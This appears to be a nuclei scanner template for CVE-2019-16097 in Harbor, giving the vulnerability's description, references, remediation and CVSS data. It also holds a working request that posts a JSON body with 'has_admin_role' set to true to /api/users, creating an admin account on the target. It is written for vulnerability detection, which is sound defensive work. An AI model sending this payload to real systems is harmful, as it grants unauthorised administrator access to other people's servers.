nuclei-templates/cves/2019/CVE-2019-16097.yaml

46 lines
1.7 KiB
YAML
Raw Normal View History

2021-02-19 06:08:32 +00:00
id: CVE-2019-16097
2021-02-19 06:08:32 +00:00
info:
name: Harbor <=1.82.0 - Privilege Escalation
2021-02-19 06:08:32 +00:00
author: pikpikcu
severity: medium
description: Harbor 1.7.0 through 1.8.2 is susceptible to privilege escalation via core/api/user.go, which allows allows non-admin users to create admin accounts via the POST /api/users API when Harbor is setup with DB as an authentication backend and allows user to do self-registration.
reference:
- https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
- https://github.com/goharbor/harbor/issues/8951
- https://nvd.nist.gov/vuln/detail/CVE-2019-16097
- https://github.com/goharbor/harbor/commit/b6db8a8a106259ec9a2c48be8a380cb3b37cf517
remediation: Upgrade to v1.7.6 v1.8.3. v.1.9.0 or higher. A potential workaround without applying the fix is to configure Harbor to use a non-DB authentication backend such as LDAP.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
cvss-score: 6.5
cve-id: CVE-2019-16097
cwe-id: CWE-862
tags: cve,cve2019,intrusive,harbor
2021-02-19 06:08:32 +00:00
requests:
- method: POST
path:
- '{{BaseURL}}/api/users'
headers:
Content-Type: application/json
body: |
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@interact.sh", "realname": "poc"}
2021-02-19 06:08:32 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "username has already been used"
2021-02-19 06:53:34 +00:00
- "Location: /api/users/"
part: response
2021-02-19 06:53:34 +00:00
condition: or
2021-02-19 06:08:32 +00:00
- type: status
status:
- 201
- 409
2021-03-30 06:49:14 +00:00
condition: or
# Enhanced by mp on 2022/04/19